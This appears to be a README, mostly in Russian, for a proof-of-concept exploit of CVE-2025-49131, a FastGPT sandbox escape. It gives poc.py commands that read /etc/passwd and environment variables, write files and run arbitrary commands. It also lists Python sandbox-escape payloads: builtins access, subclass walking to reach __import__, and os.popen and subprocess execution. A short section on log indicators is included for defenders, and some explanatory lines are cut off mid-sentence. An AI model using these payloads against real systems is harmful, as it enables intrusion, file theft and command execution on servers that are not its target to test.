
███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
█████╗ ███████║███████╗ ██║ ██║ ███╗██████╔╝ ██║
██╔══╝ ██╔══██║╚════██║ ██║ ██║ ██║██╔═══╝ ██║
██║ ██║ ██║███████║ ██║ ╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
███████╗ █████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
███████╗███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║ ╚███╔╝
╚════██║██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║ ██╔██╗
███████║██║ ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗
██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝
█████╗ ███████╗██║ ███████║██████╔╝█████╗
██╔══╝ ╚════██║██║ ██╔══██║██╔═══╝ ██╔══╝
███████╗███████║╚██████╗██║ ██║██║ ███████╗
╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚══════╝
╔═══════════════════════════════════════╗
║ CVE-2025-49131 | CVSS 6.3 ║
║ FastGPT Sandbox Container Escape ║
║ Affected: < v4.9.11 ║
╚═══════════════════════════════════════╝
Этот инструмент предназначен только для авторизованных исследований в области безопасности и образовательных целей.
CVE-2025-49131 — это уязвимость обхода песочницы в контейнере fastgpt-sandbox FastGPT. Уязвимость существует из-за:
Успешная эксплуатация позволяет атакующему:
# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc
# Install dependencies
pip install -r requirements.txt
# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect
# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd
# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"
# Start vulnerable and patched containers
docker-compose up -d
# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002
python poc.py --target http://localhost:3001 --detect -v
python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ
python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"
python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess
python poc.py --target http://localhost:3001 --env
python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"
python poc.py --help
cve-2025-49131-poc/
├── poc.py # Main exploit script
├── payloads.py # Payload generator library
├── docker-compose.yml # Test environment
├── requirements.txt # Python dependencies
├── README.md # This file
└── tests/
└── test_exploit.py # Automated tests
Песочница FastGPT предназначена для выполнения пользовательского кода в изолированной среде. Однако механизмы изоляции недостаточны:
Доступ к Python __builtins__ — песочница не ограничивает должным образом доступ к встроенным функциям, таким как open(), __import__() и т.д.
Фильтрация системных вызовов — список разрешённых syscall включает опасные вызовы, обеспечивающие доступ к файловой системе
Обход ограничений импорта — существует множество методов обхода ограничений на импорт модулей
┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using: │
│ - __builtins__ manipulation │
│ - Subclass walking │
│ - Import bypass techniques │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to: │
│ - File system (read/write) │
│ - os/subprocess modules │
│ - Environment variables │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 4. Impact: │
│ - Data exfiltration │
│ - Code injection │
│ - Remote command execution │
└─────────────────────────────────────────────┘
Чтение файла:
open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()
Обход импорта:
__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__()
if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/HEAD/%27os%27)
RCE:
__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)
Ищите подозрительную активность в журналах песочницы:
/etc/passwd, /etc/shadow__builtins__, __import__| Дата | Событие |
|---|---|
| 2025-??-?? | Уязвимость обнаружена |
| 2025-??-?? | Поставщик уведомлён |
| 2025-06-?? | Выпущен патч (v4.9.11) |
| 2025-06-09 | Публичное раскрытие |
Этот проект предназначен только для образовательных и авторизованных исследовательских целей в области безопасности. Используйте ответственно.
Создано для исследовательских целей в области безопасности. Всегда получайте соответствующее разрешение перед тестированием.
| Поле | Значение |
|---|
| Идентификатор CVE | CVE-2025-49131 |
| Оценка CVSS | 6.3 (Средний) |
| Вектор CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| Тип уязвимости | Обход песочницы |
| Затронутое ПО | FastGPT (контейнер fastgpt-sandbox) |
| Затронутые версии | < 4.9.11 |
| Исправленная версия | 4.9.11+ |
| Дата раскрытия | 9 июня 2025 |